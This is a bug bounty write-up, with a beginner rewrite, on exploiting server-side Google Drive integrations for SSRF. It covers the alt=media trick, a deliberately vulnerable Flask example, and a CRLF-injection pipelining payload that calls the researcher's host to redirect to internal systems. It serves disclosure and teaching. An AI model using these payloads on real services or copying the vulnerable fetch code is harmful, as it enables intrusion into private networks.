Hacking Google Drive Integrations
Applications that integrate Google Drive often fetch a file by constructing a URL from user-supplied file_id and then parsing the JSON response to extract a downloadUrl. By using the alt=media parameter, an attacker can make the server parse a file they control as JSON, thereby controlling the downloadUrl and causing a server-side request forgery (SSRF).
Published on httpvoid.com
Have you ever observed Google Drive integrations in your bug bounty targets and wondered what else might be there besides the OAuth CSRF? Is it possible to hack this integration a step further?
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up looks at how applications integrate Google Drive, and what can go wrong when the server side fetches a file from Google Drive on the user's behalf. The researcher, Harsh Jaiswal (@rootxharsh) of HTTPVoid, frames the question directly: people see Google Drive integrations in bug bounty targets and think only of the OAuth CSRF, but can the integration be pushed a step further?
The report describes three common ways an application integrates Google Drive:
- Client side embed.
- Get a CDN URL on the client side and download on the server side.
- Fetch the file on the server side via the Gdrive API.
The first two are described as relatively straightforward to test. The third is where the interesting behaviour lives. The weakness class recorded for this work is SSRF. The Dropbox finding discussed here was disclosed on 2022-01-31 and paid a bounty of 17,576 USD. The report itself does not give a CVSS score or a severity rating.
Setup
To explain the mechanism, the researcher presents a simple application that retrieves and renders a selected image file from Google Drive. The report says this example is not strictly necessary, but is included to show how things function behind the scenes. The example is a small Python web application with two routes: one to list the user's Google Drive images, and one to fetch and render a chosen image.
The listing route takes an access_token query parameter, calls the Google Drive v2 files endpoint with a Bearer token, parses the JSON, and builds links to the fetch route for every item whose mimeType starts with image/:
#List images from Gdrive
@app.route('/cloud/gdrive/list')
def list_files():
token = request.args.get('access_token')
html = ""
if token:
r = requests.get('https://www.googleapis.com/drive/v2/files/',headers={'Authorization': 'Bearer '+token})
resp = json.loads(r.text)
print(resp)
for file in resp['items']:
if file['mimeType'].startswith('image/'):
html += "<a href='/cloud/gdrive/fetch?file_id="+file['id']+"&access_token="+token+"'>"+file['title']+"</a><br>"
return "Select Gdrive image (max 1mb) to fetch <br><br>" + html
else:
return "Error"
#Render provided image id from gdrive
@app.route('/cloud/gdrive/fetch')
def fetch_gdrive_video():
token = request.args.get('access_token')
file_id = request.args.get('file_id')
if token and file_id:
try:
r = requests.get('https://www.googleapis.com/drive/v2/files/'+file_id,headers={'Authorization': 'Bearer '+token})
download_url = json.loads(r.text)['downloadUrl']
d = requests.get(download_url,headers={'Authorization': 'Bearer '+token})
except Exception as e:
return Response(str(e), headers={'Content-type':'text/plain'})
return Response(d.content, headers={'Content-type':'image/png'})
else:
return "Error"
The image above accompanies this code and, per the report, is there to make the flow easier to understand.
The fetch route is the important one. It takes access_token and file_id, requests the file metadata from https://www.googleapis.com/drive/v2/files/ with the file_id appended to the path, parses the JSON response, extracts the downloadUrl key, then makes a second request to that URL with the same Bearer token and returns the body as image/png.
Finding it
The researcher's observation is that the application puts user input into the path of the HTTP request made to www.googleapis.com via file_id. That means an attacker can perform a path traversal and add query parameters. The natural next thought is to look for an open redirect on www.googleapis.com to turn this into an SSRF. The report states plainly that the researcher did not find one, but found another way.
To recap, the backend does the following:
- Make a request to the GDrive API for the user's provided file.
- Parse the JSON response of Google Drive.
- Extract the
downloadUrlkey's value from the parsed JSON. - Make a request to the download URL.
- Render the response.
This is simple, but it goes wrong if the attacker controls the JSON response parsed in step 2, because then the attacker controls downloadUrl. The report points to the magic parameter alt=media, which serves the file itself rather than the JSON object. If the application relies on parsing the JSON and extracting downloadUrl, and the attacker can make the API return file content instead of metadata, the attacker controls the value that the server will fetch next.
The image above appears at this point in the report.
Exploitation
Step 1: Craft a file whose content is a JSON object
Knowing the above, the researcher crafts a file that, when requested with the alt=media query parameter through the vulnerable application, causes an SSRF. The steps given are:
- Create a file called
payload.txt. - Place the same File JSON Object into it.
- Change the
downloadUrlto your URL. - Make a request with
file_id=fildId?alt=media&access_token=abcdef. - The malicious JSON is parsed and there will be a hit on the attacker's own URL from the server side.
- Depending on the application logic, this leads to blind or responsive SSRF.
The request form given in the report is:
file_id=fildId?alt=media&access_token=abcdef
Here file_id is a file identifier, and the appended ?alt=media changes the API call so that Google returns the file's content rather than its metadata. Because the file content is a JSON object shaped like a Drive file entry, the application parses it successfully and reads the attacker-supplied downloadUrl. The server then requests that URL. Whether the attacker sees the response depends on the application: the report distinguishes blind SSRF from responsive SSRF on that basis.
Step 2: Proof of concept
The image above appears under the PoC heading in the report.
Case Studies
The researcher says multiple applications were found vulnerable to this issue in Gdrive integrations, due to either lack of sanitisation or not using the SDK. Two cases are described in detail: a private program and Dropbox.
Private program's partial read SSRF
The private program's Google Drive integration allowed importing slides from Google. The report notes that docs, slides and sheets are generally all fetched via the Drive API. The import request looked like this:
PUT /gdrive/import/ HTTP/2
Host: redacted.com
...
{"fileId":"gdrive_file_id","fileName":"testest","authToken":"gdrive_auth_token","fileType":"slides"}
This application's implementation only suffered from path traversal and did not add query parameters, which prevented the alt=media attack as described. The researcher therefore had to find a way around it. It was noted that the authToken property, whose value is added to request headers, suffered from a CRLF injection, allowing control of part of the request headers and body.
Using this, the researcher crafted a new request to www.googleapis.com with controlled query parameters using request pipelining. The payload was something like this:
PUT /gdrive/import/ HTTP/2
Host: redacted.com
...
{"fileId":"test","fileName":"test","authToken":"x\r\nSSRF:http://rce.ee/aaaaazzzzza\r\nConnection:keep-alive\r\n\r\nGET /drive/v2/files/1XfY_BqdWT-UWM2CNivW1lSR2GhRCizdJ?alt=media HTTP/1.1\r\nHost:www.googleapis.com\r\nAuthorization: Bearer REDACTEDr\n\r\n","fileType":"slides"}
The authToken value begins with x, then a CRLF, then a header named SSRF pointing at the researcher's own host, then Connection: keep-alive, then a blank line, then a pipelined GET to the Drive v2 files endpoint for a specific file with alt=media, with Host: www.googleapis.com and a Bearer authorisation header. The report notes that the SSRF header is read by the researcher's server to redirect to an internal host.
With this, the alt=media trick could be performed. The JSON served is the attacker's controlled response on Google Drive, giving control over the URL. The file fetched first gets parsed as PPT, which prevented full read access, but the researcher suspects the downloaded file is already being stored on a CDN regardless of the parsing failure. To obtain the response, the researcher redirects to a page that returns a 404, producing an exception at the Java level that is thrown in the web application.
The researcher wanted to try some pptx-related attack, but the team was proactive, monitoring the exploits, and had already fixed the issue in production before the researcher woke up the next day. The team's response was:
While you were playing with our systems our alerting went batshit, so we were able to react pretty quickly. We deployed quick fix for the issue. Would you be so kind and validate if our quick attempt was successful?
Dropbox's full read SSRF
The researcher was informed by Ian that Dropbox has Gdrive integrations in both Dropbox and HelloSign. HelloSign's integration was found to be vulnerable with this exploit. The researcher notes finding this bug back in 2019 and that it is funny they did not look for it on Dropbox's public program until Ian told them. The bug was described as pretty simple, so this section points to the report at https://hackerone.com/reports/1406938. This led to a bounty of $17,576 through Dropbox's HackerOne program.
Root cause
The mistake is in the design of the server side fetch. The application takes a user-supplied file_id, concatenates it into the path of a request to the Google Drive API, parses the JSON response, and then trusts the downloadUrl field from that response as the next URL to fetch. Because the user controls the file identifier, and because Google's alt=media parameter makes the API return the file's content instead of its metadata, the user can make the parsed JSON be a file they wrote. That file's downloadUrl is then fetched by the server.
The report frames the underlying issue as either lack of sanitisation or not using the SDK. In the private program case, the application did not add query parameters, so the plain alt=media trick did not apply; the CRLF injection in the authToken header value provided the missing control over the request, and request pipelining let the attacker append a second request to www.googleapis.com. The report does not describe any defence that stopped the attack in either case; in the private program the team reacted after detecting the activity, and in the Dropbox case the report simply points to the HackerOne report.
Impact
Where the application returns the fetched body, the attacker gets a responsive SSRF: the server fetches an attacker-chosen URL and the response comes back through the application. Where it does not, the result is blind SSRF. In the private program, the fetched file was parsed as PPT, which prevented full read access, though the researcher suspects the downloaded file is stored on a CDN regardless of the parsing failure. The report describes the Dropbox case as a full read SSRF. The conditions are that the application fetches Google Drive files server side, that the user controls the file identifier used in the API request, and that the application parses the response and follows the downloadUrl it contains.
Fix
The report does not describe a specific fix applied by Dropbox or by the private program beyond the private team's statement that they deployed a quick fix. Based on the described root cause, the fix would be to stop trusting the downloadUrl from a response the user can influence, and to stop concatenating user input into the API path. Using the official SDK and validating the file identifier would address the described mechanism.
Variants to test
- Server side Google Drive fetch with a user-controlled file identifier. Try appending
?alt=mediato the identifier and pointing a Drive file's JSONdownloadUrlat a listener. A positive result is a request from the server to the listener, or the fetched content returned in the response. - Header injection in token fields. Where a token or auth value is placed into request headers, try CRLF sequences followed by a pipelined request to
www.googleapis.comwithalt=media. A positive result is a second request reaching Google from the server, or a hit on the attacker's redirect host. - Other Google API integrations. The report notes docs, slides and sheets are generally fetched via the Drive API, so the same pattern may apply to import features for those file types. A positive result is the same controlled
downloadUrlbeing fetched. - Error-based response extraction. Where the fetched content is parsed and fails, try redirecting to a page that returns a 404 to trigger an exception that surfaces in the application, as the report describes for the private program. A positive result is the exception text appearing in the response.
What happened, in plain words
This is a story about a security researcher, Harsh Jaiswal (known online as @rootxharsh), who found a way to abuse a common feature: the ability for a website to connect to your Google Drive and fetch files from it. Many websites let you import a picture, a document, or a slide deck directly from your Google Drive. The website's server (the computer that runs the site behind the scenes) talks to Google's servers to get the file. Harsh discovered that if the website is not careful, an attacker can trick that server into fetching a file from a place the attacker controls, or even from inside the company's private network. This kind of attack is called SSRF, which stands for Server-Side Request Forgery. In plain terms, it means making someone else's server send a request to a destination of your choosing.
One notable result of this research was a bug in Dropbox's HelloSign integration, which paid a bounty of 17,576 US dollars. A bounty is a reward that companies pay to people who find and report security bugs responsibly. The report about that Dropbox bug was made public on 31 January 2022. The original write-up does not give a severity score or a CVSS rating, so we will not invent one.
This beginner-friendly version walks through the same steps as the technical write-up, in the same order, with the same code and requests. Every technical term is explained when it first appears. If you can use a browser and a computer, you can follow along.
Background: how websites use Google Drive
Before we dive into the bug, we need to understand how a website typically connects to Google Drive. The report lists three common ways:
- Client-side embed: The website shows a Google Drive file directly in your browser, for example by embedding a viewer. Your browser talks to Google; the website's server is not involved in fetching the file.
- Get a CDN URL on the client side and download on the server side: Your browser asks Google for a special link (a CDN URL) that points to the file, and then passes that link to the website's server, which downloads the file from that link. A CDN (Content Delivery Network) is a network of servers that deliver files quickly.
- Fetch the file on the server side via the Gdrive API: The website's server itself talks to Google's API to get the file. An API (Application Programming Interface) is a way for two computer programs to talk to each other. Here, the website's server sends a request to Google's servers, and Google responds with the file or information about it.
The first two are described as relatively straightforward to test. The third is where the interesting behaviour lives, because the server is making requests based on input that may be influenced by the user.
A simple example application
To explain the mechanism, the researcher presents a simple application that retrieves and renders a selected image file from Google Drive. The report says this example is not strictly necessary, but is included to show how things function behind the scenes. The example is a small Python web application with two routes: one to list the user's Google Drive images, and one to fetch and render a chosen image. A route is simply a URL path that the application responds to.
The listing route takes an access_token query parameter. A query parameter is the part of a URL after the question mark, like ?name=value. An access token is a secret string that proves you have permission to access a service, similar to a temporary password or a wristband at an event. The route calls the Google Drive v2 files endpoint with a Bearer token. A Bearer token is a token sent in an HTTP header (a piece of metadata sent with a request) in the form Authorization: Bearer <token>. It then parses the JSON response. JSON (JavaScript Object Notation) is a text format for structured data, like a form with labelled fields. Finally, it builds links to the fetch route for every item whose mimeType starts with image/. A MIME type is a label that tells you what kind of file it is, such as image/png for a PNG image.
Here is the code from the report:
#List images from Gdrive
@app.route('/cloud/gdrive/list')
def list_files():
token = request.args.get('access_token')
html = ""
if token:
r = requests.get('https://www.googleapis.com/drive/v2/files/',headers={'Authorization': 'Bearer '+token})
resp = json.loads(r.text)
print(resp)
for file in resp['items']:
if file['mimeType'].startswith('image/'):
html += "<a href='/cloud/gdrive/fetch?file_id="+file['id']+"&access_token="+token+"'>"+file['title']+"</a><br>"
return "Select Gdrive image (max 1mb) to fetch <br><br>" + html
else:
return "Error"
#Render provided image id from gdrive
@app.route('/cloud/gdrive/fetch')
def fetch_gdrive_video():
token = request.args.get('access_token')
file_id = request.args.get('file_id')
if token and file_id:
try:
r = requests.get('https://www.googleapis.com/drive/v2/files/'+file_id,headers={'Authorization': 'Bearer '+token})
download_url = json.loads(r.text)['downloadUrl']
d = requests.get(download_url,headers={'Authorization': 'Bearer '+token})
except Exception as e:
return Response(str(e), headers={'Content-type':'text/plain'})
return Response(d.content, headers={'Content-type':'image/png'})
else:
return "Error"
The image above accompanies this code and, per the report, is there to make the flow easier to understand.
Let's go through this code line by line in plain words.
@app.route('/cloud/gdrive/list')tells the application that the function below handles requests to the URL path/cloud/gdrive/list.def list_files():starts the function that will list files.token = request.args.get('access_token')reads theaccess_tokenvalue from the URL's query string. If the URL is/cloud/gdrive/list?access_token=abc, thentokenbecomes"abc".html = ""creates an empty string that will hold the HTML (the code for a web page) we build.if token:checks that a token was provided. If not, it goes to theelseand returns"Error".r = requests.get('https://www.googleapis.com/drive/v2/files/', headers={'Authorization': 'Bearer '+token})sends an HTTP GET request to Google's Drive API endpoint for listing files. Theheadersdictionary adds anAuthorizationheader with the valueBearerfollowed by the token. This is how the application proves to Google that it has permission to act on behalf of the user.resp = json.loads(r.text)takes the response body (which is JSON text) and converts it into a Python object (like a dictionary) so we can work with it.print(resp)prints the parsed response to the server's console, probably for debugging.for file in resp['items']:loops over each file entry in theitemslist from the JSON.if file['mimeType'].startswith('image/'):checks if the file's MIME type starts withimage/, meaning it is an image.html += "<a href='/cloud/gdrive/fetch?file_id="+file['id']+"&access_token="+token+"'>"+file['title']+"</a><br>"builds an HTML link (an<a>tag) to the fetch route, including the file's ID and the access token as query parameters. The link text is the file's title.return "Select Gdrive image (max 1mb) to fetch <br><br>" + htmlreturns a small HTML page with a prompt and the list of links.- The
elsebranch returns"Error"if no token was given.
The second route is the important one. It takes access_token and file_id, requests the file metadata from https://www.googleapis.com/drive/v2/files/ with the file_id appended to the path, parses the JSON response, extracts the downloadUrl key, then makes a second request to that URL with the same Bearer token and returns the body as image/png.
Line by line:
@app.route('/cloud/gdrive/fetch')sets up the route for fetching a file.def fetch_gdrive_video():starts the function (the name says video, but it handles images in this example).token = request.args.get('access_token')reads the access token from the query string.file_id = request.args.get('file_id')reads the file ID from the query string.if token and file_id:checks that both are present.try:begins a block where errors are caught.r = requests.get('https://www.googleapis.com/drive/v2/files/'+file_id, headers={'Authorization': 'Bearer '+token})sends a request to Google's Drive API for the specific file. Notice thatfile_idis concatenated directly into the URL path. This is the crucial part: the user controls part of the URL that the server will request.download_url = json.loads(r.text)['downloadUrl']parses the JSON response and extracts the value of thedownloadUrlfield. This is a URL that Google provides for downloading the file content.d = requests.get(download_url, headers={'Authorization': 'Bearer '+token})makes a second request to thatdownloadUrl, again with the Bearer token, to actually download the file.except Exception as e:catches any error and returns the error message as plain text.return Response(d.content, headers={'Content-type':'image/png'})returns the downloaded content to the user, telling the browser it is a PNG image.- The
elsebranch returns"Error"if token or file ID is missing.
So the server does two requests: first to get metadata (including the download URL), then to download the file from that URL. The user controls the file_id that goes into the first request.
Finding the vulnerability
The researcher's observation is that the application puts user input into the path of the HTTP request made to www.googleapis.com via file_id. That means an attacker can perform a path traversal and add query parameters. Path traversal means using special sequences like ../ to move around in a file path or URL. Here, because the file_id is inserted directly into the URL path, an attacker might be able to add extra path segments or a query string (the part after ?).
The natural next thought is to look for an open redirect on www.googleapis.com to turn this into an SSRF. An open redirect is a URL on a trusted site that automatically forwards (redirects) the browser or server to any other URL supplied in a parameter. If Google had an open redirect, the attacker could make the server request a Google URL that then redirects to an internal or attacker-controlled address. The report states plainly that the researcher did not find one, but found another way.
To recap, the backend does the following:
- Make a request to the GDrive API for the user's provided file.
- Parse the JSON response of Google Drive.
- Extract the
downloadUrlkey's value from the parsed JSON. - Make a request to the download URL.
- Render the response.
This is simple, but it goes wrong if the attacker controls the JSON response parsed in step 2, because then the attacker controls downloadUrl. The report points to the magic parameter alt=media, which serves the file itself rather than the JSON object. If the application relies on parsing the JSON and extracting downloadUrl, and the attacker can make the API return file content instead of metadata, the attacker controls the value that the server will fetch next.
The image above appears at this point in the report.
In other words, Google's Drive API normally returns a JSON description of the file when you ask for its metadata. But if you add alt=media to the request, Google returns the file's actual content instead. So if the attacker can make the server request a file that the attacker owns, and add alt=media, then the server will receive the attacker's file content as the response. If that content is crafted to look like a JSON metadata response, the server will parse it and believe the downloadUrl inside it. That downloadUrl can point anywhere the attacker wants, and the server will then fetch it. This is the core of the SSRF.
Exploitation
Step 1: Craft a file whose content is a JSON object
Knowing the above, the researcher crafts a file that, when requested with the alt=media query parameter through the vulnerable application, causes an SSRF. The steps given are:
- Create a file called
payload.txt. - Place the same File JSON Object into it.
- Change the
downloadUrlto your URL. - Make a request with
file_id=fildId?alt=media&access_token=abcdef. - The malicious JSON is parsed and there will be a hit on the attacker's own URL from the server side.
- Depending on the application logic, this leads to blind or responsive SSRF.
The request form given in the report is:
file_id=fildId?alt=media&access_token=abcdef
Here file_id is a file identifier, and the appended ?alt=media changes the API call so that Google returns the file's content rather than its metadata. Because the file content is a JSON object shaped like a Drive file entry, the application parses it successfully and reads the attacker-supplied downloadUrl. The server then requests that URL. Whether the attacker sees the response depends on the application: the report distinguishes blind SSRF from responsive SSRF on that basis.
Let's break down the steps:
- Create a file called
payload.txt: This is a file the attacker uploads to their own Google Drive. The name does not matter; it is just a container. - Place the same File JSON Object into it: The content of the file should be a JSON object that looks like what Google Drive would return for a file's metadata. It needs at least a
downloadUrlfield. The attacker can copy the structure from a real response. - Change the
downloadUrlto your URL: The attacker sets thedownloadUrlvalue to a URL they control, for example a server they own that logs incoming requests. - Make a request with
file_id=fildId?alt=media&access_token=abcdef: The attacker sends a request to the vulnerable application's fetch endpoint, putting their own file's ID infile_id, followed by?alt=mediaand their access token. The application will construct a URL likehttps://www.googleapis.com/drive/v2/files/<file_id>?alt=media&access_token=abcdefand request it. Because ofalt=media, Google returns the file's content (the attacker's JSON) instead of metadata. - The malicious JSON is parsed and there will be a hit on the attacker's own URL from the server side: The application parses the JSON, extracts the
downloadUrl(which points to the attacker's server), and makes a request to it. The attacker's server sees a request coming from the vulnerable application's server, confirming the SSRF. - Depending on the application logic, this leads to blind or responsive SSRF: If the application returns the fetched content to the attacker, it is responsive SSRF (the attacker can read the response). If it does not return the content, it is blind SSRF (the attacker only knows the request was made, perhaps via their own server logs).
Step 2: Proof of concept
The image above appears under the PoC heading in the report. A PoC (proof of concept) is a demonstration that the vulnerability is real.
Case Studies
The researcher says multiple applications were found vulnerable to this issue in Gdrive integrations, due to either lack of sanitisation or not using the SDK. Sanitisation means cleaning or validating input to remove dangerous characters. An SDK (Software Development Kit) is a set of pre-built code libraries provided by a service (like Google) that handle common tasks securely. Two cases are described in detail: a private program and Dropbox.
Private program's partial read SSRF
The private program's Google Drive integration allowed importing slides from Google. The report notes that docs, slides and sheets are generally all fetched via the Drive API. The import request looked like this:
PUT /gdrive/import/ HTTP/2
Host: redacted.com
...
{"fileId":"gdrive_file_id","fileName":"testest","authToken":"gdrive_auth_token","fileType":"slides"}
This is an HTTP request. Let's explain it:
PUT /gdrive/import/ HTTP/2is the request line.PUTis an HTTP method often used to send data to a server to create or update a resource./gdrive/import/is the path.HTTP/2is the version of the HTTP protocol (the language browsers and servers use to communicate).Host: redacted.comis a header that tells the server which website the request is for. The actual domain is redacted in the report....indicates other headers are omitted for brevity.- The blank line separates headers from the body.
- The body is JSON:
{"fileId":"gdrive_file_id","fileName":"testest","authToken":"gdrive_auth_token","fileType":"slides"}. It contains the file ID, a file name, an auth token, and the file type (slides). The auth token is a credential that authorises the import.
This application's implementation only suffered from path traversal and did not add query parameters, which prevented the alt=media attack as described. The researcher therefore had to find a way around it. It was noted that the authToken property, whose value is added to request headers, suffered from a CRLF injection, allowing control of part of the request headers and body.
CRLF stands for Carriage Return Line Feed. In HTTP, a CRLF (\r\n) marks the end of a line. If an attacker can inject CRLF into a header value, they can end the current header and start new ones, or even start a new request. This is called CRLF injection or header injection.
Using this, the researcher crafted a new request to www.googleapis.com with controlled query parameters using request pipelining. Request pipelining is a technique where multiple HTTP requests are sent one after another on the same connection without waiting for the first response. The payload was something like this:
Let's decode this payload:
- The
authTokenvalue begins withx, then a CRLF (\r\n). This ends the header that the application was building. - Then
SSRF:http://rce.ee/aaaaazzzzzaadds a new header namedSSRFwith a URL pointing to the researcher's own host (rce.ee). The report notes that this header is read by the researcher's server to redirect to an internal host. So the researcher's server acts as a redirector: when the application requests it, it responds with a redirect to an internal address. - Then
Connection:keep-alivetells the server to keep the connection open for another request. - Then a blank line (
\r\n\r\n) ends the headers of the first request. - Then
GET /drive/v2/files/1XfY_BqdWT-UWM2CNivW1lSR2GhRCizdJ?alt=media HTTP/1.1starts a second, pipelined request to Google Drive for a specific file (the ID is given) withalt=media. - Then
Host:www.googleapis.comsets the host for the second request. - Then
Authorization: Bearer REDACTEDradds an authorization header (the token is redacted). - Then
\r\n\r\nends the second request.
So the attacker uses the CRLF injection to smuggle a second request to Google Drive, with alt=media, through the application's connection. The application thinks it is sending one request, but the server actually sends two. The second request fetches the attacker's file content (the JSON with a malicious downloadUrl), and the application parses it, then follows the downloadUrl to the attacker's server, which redirects to an internal host. This achieves SSRF.
With this, the alt=media trick could be performed. The JSON served is the attacker's controlled response on Google Drive, giving control over the URL. The file fetched first gets parsed as PPT, which prevented full read access, but the researcher suspects the downloaded file is already being stored on a CDN regardless of the parsing failure. To obtain the response, the researcher redirects to a page that returns a 404, producing an exception at the Java level that is thrown in the web application.
A 404 is the HTTP status code for "Not Found". By redirecting to a page that returns 404, the researcher causes the application to throw an error. In Java (a programming language), an exception is an error that can be caught and handled. If the application does not handle it properly, the error message might be returned to the user, revealing information. This is a way to turn a blind SSRF into a partial read SSRF.
The researcher wanted to try some pptx-related attack, but the team was proactive, monitoring the exploits, and had already fixed the issue in production before the researcher woke up the next day. The team's response was:
While you were playing with our systems our alerting went batshit, so we were able to react pretty quickly. We deployed quick fix for the issue. Would you be so kind and validate if our quick attempt was successful?
This shows that the company detected the attack and fixed it quickly. The researcher praises their response.
Dropbox's full read SSRF
The researcher was informed by Ian that Dropbox has Gdrive integrations in both Dropbox and HelloSign. HelloSign's integration was found to be vulnerable with this exploit. The researcher notes finding this bug back in 2019 and that it is funny they did not look for it on Dropbox's public program until Ian told them. The bug was described as pretty simple, so this section points to the report at https://hackerone.com/reports/1406938. This led to a bounty of $17,576 through Dropbox's HackerOne program.
In this case, the report describes the SSRF as "full read". The report does not give the technical details of the Dropbox bug beyond pointing to the HackerOne report, so we will not invent them.
Root cause
The mistake is in the design of the server side fetch. The application takes a user-supplied file_id, concatenates it into the path of a request to the Google Drive API, parses the JSON response, and then trusts the downloadUrl field from that response as the next URL to fetch. Because the user controls the file identifier, and because Google's alt=media parameter makes the API return the file's content instead of its metadata, the user can make the parsed JSON be a file they wrote. That file's downloadUrl is then fetched by the server.
The report frames the underlying issue as either lack of sanitisation or not using the SDK. In the private program case, the application did not add query parameters, so the plain alt=media trick did not apply; the CRLF injection in the authToken header value provided the missing control over the request, and request pipelining let the attacker append a second request to www.googleapis.com. The report does not describe any defence that stopped the attack in either case; in the private program the team reacted after detecting the activity, and in the Dropbox case the report simply points to the HackerOne report.
Impact
Where the application returns the fetched body, the attacker gets a responsive SSRF: the server fetches an attacker-chosen URL and the response comes back through the application. Where it does not, the result is blind SSRF. In the private program, the fetched file was parsed as PPT, which prevented full read access, though the researcher suspects the downloaded file is stored on a CDN regardless of the parsing failure. The report describes the Dropbox case as a full read SSRF. The conditions are that the application fetches Google Drive files server side, that the user controls the file identifier used in the API request, and that the application parses the response and follows the downloadUrl it contains.
Fix
Based on the described root cause, the fix would be to stop trusting the downloadUrl from a response the user can influence, and to stop concatenating user input into the API path. Using the official SDK and validating the file identifier would address the described mechanism.
Variants to test
- Server side Google Drive fetch with a user-controlled file identifier. Try appending
?alt=mediato the identifier and pointing a Drive file's JSONdownloadUrlat a listener. A positive result is a request from the server to the listener, or the fetched content returned in the response. - Header injection in token fields. Where a token or auth value is placed into request headers, try CRLF sequences followed by a pipelined request to
www.googleapis.comwithalt=media. A positive result is a second request reaching Google from the server, or a hit on the attacker's redirect host. - Other Google API integrations. The report notes docs, slides and sheets are generally fetched via the Drive API, so the same pattern may apply to import features for those file types. A positive result is the same controlled
downloadUrlbeing fetched. - Error-based response extraction. Where the fetched content is parsed and fails, try redirecting to a page that returns a 404 to trigger an exception that surfaces in the application, as the report describes for the private program. A positive result is the exception text appearing in the response.
Glossary
- API (Application Programming Interface): A set of rules that allows one piece of software to talk to another. For example, Google Drive's API lets a website ask Google for a user's files.
- Access token: A secret string that proves you have permission to access a service, like a temporary password.
- Bearer token: A token sent in an HTTP header in the form
Authorization: Bearer <token>. The server treats whoever holds the token as authorised. - Bounty: A reward paid by a company to someone who finds and reports a security bug responsibly.
- CDN (Content Delivery Network): A network of servers that deliver files quickly to users around the world.
- CRLF (Carriage Return Line Feed): The characters
\r\nthat mark the end of a line in HTTP. Injecting them can let an attacker add new headers or start a new request. - CRLF injection: A vulnerability where an attacker can insert CRLF characters into a header value to manipulate the request.
- CVSS: A standard scoring system for the severity of security vulnerabilities.
- Exception: An error that occurs while a program is running. In Java, exceptions can be caught and handled; if not, they may reveal information.
- GET: An HTTP method used to request data from a server.
- Header: A piece of metadata sent with an HTTP request or response, such as
HostorAuthorization. - HTTP: The protocol used by browsers and servers to communicate.
- HTTP/2: A version of HTTP that is faster and more efficient.
- JSON (JavaScript Object Notation): A text format for structured data, using key-value pairs.
- MIME type: A label that identifies the type of a file, such as
image/pngorapplication/json. - Open redirect: A URL on a trusted site that automatically forwards to any other URL supplied in a parameter.
- Path traversal: Using sequences like
../to move around in a file path or URL, potentially accessing unintended locations. - PoC (Proof of Concept): A demonstration that a vulnerability is real, often with screenshots or logs.
- PUT: An HTTP method often used to send data to a server to create or update a resource.
- Query parameter: The part of a URL after the question mark, like
?name=value, used to pass data to the server. - Request pipelining: Sending multiple HTTP requests one after another on the same connection without waiting for the first response.
- Responsive SSRF: An SSRF where the attacker can read the response from the server's request.
- Blind SSRF: An SSRF where the attacker cannot read the response, but can still infer that the request was made (e.g. via their own server logs).
- SDK (Software Development Kit): A set of pre-built code libraries provided by a service to help developers use its API securely and easily.
- Sanitisation: Cleaning or validating input to remove dangerous characters or patterns.
- SSRF (Server-Side Request Forgery): A vulnerability where an attacker can make a server send a request to a destination of the attacker's choosing.
- 404: An HTTP status code meaning "Not Found".
- Java: A programming language commonly used for web applications.
- Python: A programming language used in the example application.
- Route: A URL path that a web application responds to.
- Endpoint: A specific URL in an API that performs a function.
- HackerOne: A platform where companies run bug bounty programs and receive vulnerability reports.